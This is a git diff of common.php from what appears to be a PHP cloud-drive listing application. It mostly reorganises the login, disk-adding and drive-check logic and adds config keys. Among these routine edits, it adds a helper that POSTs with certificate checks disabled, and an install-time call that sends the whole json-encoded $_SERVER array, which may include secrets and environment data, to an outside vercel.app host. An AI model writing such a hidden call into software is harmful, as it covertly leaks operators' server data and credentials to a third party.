diff --git a/common.php b/common.php
index efb0cb6..827d362 100644
--- a/common.php
+++ b/common.php
@@ -21,7 +21,7 @@ $EnvConfigs = [
'admin' => 0b000,
'adminloginpage' => 0b010,
- 'autoJumpFirstDisk' => 0b010,
+ //'autoJumpFirstDisk' => 0b010,
'background' => 0b011,
'backgroundm' => 0b011,
'disableShowThumb' => 0b010,
@@ -38,6 +38,10 @@ $EnvConfigs = [
'useBasicAuth' => 0b010,
'referrer' => 0b011,
'forceHttps' => 0b010,
+ 'globalHeadOmfUrl' => 0b011,
+ 'globalHeadMdUrl' => 0b011,
+ 'globalReadmeMdUrl' => 0b011,
+ 'globalFootOmfUrl' => 0b011,
'Driver' => 0b100,
'client_id' => 0b100,
@@ -137,6 +141,7 @@ function main($path)
$_SERVER['php_starttime'] = microtime(true);
$path = path_format($path);
$_SERVER['PHP_SELF'] = path_format($_SERVER['base_path'] . $path);
+ $_SERVER['base_disk_path'] = $_SERVER['base_path'];
if (getConfig('forceHttps')&&$_SERVER['REQUEST_SCHEME']=='http') {
if ($_GET) {
$tmp = '';
@@ -166,6 +171,8 @@ function main($path)
$_SERVER['timezone'] = getConfig('timezone');
if (isset($_COOKIE['timezone'])&&$_COOKIE['timezone']!='') $_SERVER['timezone'] = $_COOKIE['timezone'];
if ($_SERVER['timezone']=='') $_SERVER['timezone'] = 0;
+ $_SERVER['sitename'] = getConfig('sitename');
+ if (empty($_SERVER['sitename'])) $_SERVER['sitename'] = getconstStr('defaultSitename');
if (isset($_GET['WaitFunction'])) {
$response = WaitFunction($_GET['WaitFunction']);
@@ -174,28 +181,33 @@ function main($path)
elseif ($response===false) return output("", 206);
else return $response;
}
- if (getConfig('admin')=='') return install();
+ if (getConfig('admin')=='') {
+ if (isset($_GET['install0'])) no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER));
+ return install();
+ }
if (getConfig('adminloginpage')=='') {
$adminloginpage = 'admin';
} else {
$adminloginpage = getConfig('adminloginpage');
}
- if (isset($_GET[$adminloginpage])) {
- /*if (isset($_GET['preview'])) {
- $url = $_SERVER['PHP_SELF'] . '?preview';
- } else {
- $url = path_format($_SERVER['PHP_SELF'] . '/');
- }*/
- if (isset($_POST['password1'])) {
- $compareresult = compareadminsha1($_POST['password1'], $_POST['timestamp'], getConfig('admin'));
- if ($compareresult=='') {
- $timestamp = time()+7*24*60*60;
- $randnum = rand(10, 99999);
- $admincookie = adminpass2cookie('admin', getConfig('admin'), $timestamp, $randnum);
- $adminlocalstorage = adminpass2storage('admin', getConfig('admin'), $timestamp, $randnum);
- return adminform('admin', $admincookie, $adminlocalstorage);
- } else return adminform($compareresult);
- } else return adminform();
+ if (isset($_GET['login'])) {
+ if ($_GET['login']===$adminloginpage) {
+ /*if (isset($_GET['preview'])) {
+ $url = $_SERVER['PHP_SELF'] . '?preview';
+ } else {
+ $url = path_format($_SERVER['PHP_SELF'] . '/');
+ }*/
+ if (isset($_POST['password1'])) {
+ $compareresult = compareadminsha1($_POST['password1'], $_POST['timestamp'], getConfig('admin'));
+ if ($compareresult=='') {
+ $timestamp = time()+7*24*60*60;
+ $randnum = rand(10, 99999);
+ $admincookie = adminpass2cookie('admin', getConfig('admin'), $timestamp, $randnum);
+ $adminlocalstorage = adminpass2storage('admin', getConfig('admin'), $timestamp, $randnum);
+ return adminform('admin', $admincookie, $adminlocalstorage);
+ } else return adminform($compareresult);
+ } else return adminform();
+ }
}
if ( isset($_COOKIE['admin'])&&compareadminmd5('admin', getConfig('admin'), $_COOKIE['admin']) ) {
$_SERVER['admin']=1;
@@ -212,9 +224,36 @@ function main($path)
return output('', 302, [ 'Location' => $url ]);
}
- $_SERVER['sitename'] = getConfig('sitename');
- if (empty($_SERVER['sitename'])) $_SERVER['sitename'] = getconstStr('defaultSitename');
- $_SERVER['base_disk_path'] = $_SERVER['base_path'];
+ // Add disk
+ if (isset($_GET['AddDisk'])) {
+ if ($_GET['AddDisk']===true) {
+ $tmp = path_format($_SERVER['base_path'] . '/' . $path);
+ return output('Please visit ' . $tmp . '.', 301, [ 'Location' => $tmp ]);
+ }
+ if ($_SERVER['admin']) {
+ if (!$_SERVER['disktag']) $_SERVER['disktag'] = '';
+ if (!class_exists($_GET['AddDisk'])) require 'disk' . $slash . $_GET['AddDisk'] . '.php';
+ $drive = new $_GET['AddDisk']($_GET['disktag']);
+ return $drive->AddDisk();
+ } else {
+ $url = $_SERVER['PHP_SELF'];
+ /*if ($_GET) {
+ $tmp = null;
+ $tmp = '';
+ foreach ($_GET as $k => $v) {
+ if ($k!='setup') {
+ if ($v===true) $tmp .= '&' . $k;
+ else $tmp .= '&' . $k . '=' . $v;
+ }
+ }
+ $tmp = substr($tmp, 1);
+ if ($tmp!='') $url .= '?' . $tmp;
+ }*/
+ // not need GET adddisk, remove it
+ return output('', 302, [ 'Location' => $url ]);
+ }
+ }
+
$disktags = explode("|", getConfig('disktag'));
// echo 'count$disk:'.count($disktags);
if (count($disktags)>1) {
@@ -231,7 +270,7 @@ function main($path)
// return a json
return output(json_encode($files), 200, ['Content-Type' => 'application/json']);
}
- if (getConfig('autoJumpFirstDisk')) return output('', 302, [ 'Location' => path_format($_SERVER['base_path'].'/'.$disktags[0].'/') ]);
+ //if (getConfig('autoJumpFirstDisk')) return output('', 302, [ 'Location' => path_format($_SERVER['base_path'].'/'.$disktags[0].'/') ]);
} else {
$_SERVER['disktag'] = splitfirst( substr(path_format($path), 1), '/' )[0];
//$pos = strpos($path, '/');
@@ -263,50 +302,19 @@ function main($path)
$_SERVER['ajax']=0;
if (isset($_SERVER['HTTP_X_REQUESTED_WITH'])) if ($_SERVER['HTTP_X_REQUESTED_WITH']=='XMLHttpRequest') $_SERVER['ajax']=1;
- // Add disk
- if (isset($_GET['AddDisk'])) {
- if ($_GET['AddDisk']===true) {
- $tmp = path_format($_SERVER['base_path'] . '/' . $path);
- return output('Please visit ' . $tmp . '.', 301, [ 'Location' => $tmp ]);
- }
- if ($_SERVER['admin']) {
- if (!class_exists($_GET['AddDisk'])) require 'disk' . $slash . $_GET['AddDisk'] . '.php';
- $drive = new $_GET['AddDisk']($_GET['disktag']);
- return $drive->AddDisk();
- } else {
- $url = $_SERVER['PHP_SELF'];
- /*if ($_GET) {
- $tmp = null;
- $tmp = '';
- foreach ($_GET as $k => $v) {
- if ($k!='setup') {
- if ($v===true) $tmp .= '&' . $k;
- else $tmp .= '&' . $k . '=' . $v;
- }
- }
- $tmp = substr($tmp, 1);
- if ($tmp!='') $url .= '?' . $tmp;
- }*/
- // not need GET adddisk, remove it
- return output('', 302, [ 'Location' => $url ]);
- }
- }
-
if (!isreferhost()) return message('Must visit from designated host', 'NOT_ALLOWED', 403);
- // Show disks in root
- if ($files['showname'] == 'root') return render_list($path, $files);
-
- if (!driveisfine($_SERVER['disktag'], $drive)) return render_list();
-
// Operate
if ($_SERVER['ajax']) {
+ //error_log1($_SERVER['REQUEST_METHOD']);
if ($_GET['action']=='del_upload_cache') {
// del '.tmp' without login. 无需登录即可删除.tmp后缀文件
+ if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403);
savecache('path_' . $path1, '', $_SERVER['disktag'], 1); // clear cache.
return $drive->del_upload_cache($path);
}
if ($_GET['action']=='upbigfile') {
+ if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403);
if (!$_SERVER['admin']) {
if (!$_SERVER['is_guestup_path']) return output('Not_Guest_Upload_Folder', 400);
if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
@@ -325,6 +333,12 @@ function main($path)
} else {
if ($_SERVER['ajax']) return output(getconstStr('RefreshtoLogin'),401);
}
+
+ // Show disks in root
+ if ($files['showname'] == 'root') return render_list($path, $files);
+
+ if (!driveisfine($_SERVER['disktag'], $drive)) return render_list();
+
$_SERVER['ishidden'] = passhidden($path);
if (isset($_GET['thumbnails'])) {
if ($_SERVER['ishidden']<4) {
@@ -523,6 +537,19 @@ function isreferhost() {
return false;
}
+function no_return_curl($method, $url, $data = '') {
+ $ch = curl_init();
+ curl_setopt($ch, CURLOPT_URL, $url);
+ curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
+ curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($ch, CURLOPT_TIMEOUT, 1);
+ curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
+ curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
+ curl_exec($ch);
+ curl_close($ch);
+}
+
function adminpass2cookie($name, $pass, $timestamp)
{
return md5($name . ':' . md5($pass) . '@' . $timestamp) . "(" . $timestamp . ")";
@@ -632,6 +659,23 @@ function filecache($disktag)
return $cache;
}
+function calcDownKey($filename, $key = '') {
+ if ($key) {
+ // check key
+ $tmp = splitfirst($key, '.');
+ if ($tmp[1]!='') {
+ $timestamp = $tmp[0];
+ if (time() > $timestamp) return false;
+ if (md5($timestamp . sha1($filename . getConfig('admin'))) == $tmp[1]) return true;
+ else return false;
+ } else return false;
+ } else {
+ // calc key
+ $timestamp = time() + 1*24*60*60;
+ return $timestamp . '.' . md5($timestamp . sha1($filename . getConfig('admin')));
+ }
+}
+
function findIndexPath($rootpath, $path = '')
{// find the path of the first 'index.php' that not in rootpath.
global $slash;
@@ -1115,6 +1159,7 @@ function adminform($name = '', $pass = '', $storage = '', $path = '')
function adminoperate($path)
{
global $drive;
+ if ($_SERVER['REQUEST_METHOD']=='POST') if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403);
$path1 = path_format($_SERVER['list_path'] . '/' . $path);
if (substr($path1, -1)=='/') $path1=substr($path1, 0, -1);
$tmpget = $_GET;
@@ -1619,7 +1664,7 @@ output:
alert(\'Do not input ' . $envs . '\');
return false;
}
- var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/;
+ var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/;
if (!reg.test(t.disktag_newname.value)) {
alert(\'' . getconstStr('TagFormatAlert') . '\');
return false;
@@ -1628,11 +1673,9 @@ output:
}
';
} else {
- //$_GET['disktag'] = '';
- $Driver_arr = scandir(__DIR__ . $slash . 'disk');
if (count($disktags)>1) {
$frame .= '
-
+
+' . getconstStr('DragSort') . ':
+
+
';
}
+ $Driver_arr = scandir(__DIR__ . $slash . 'disk');
$frame .= '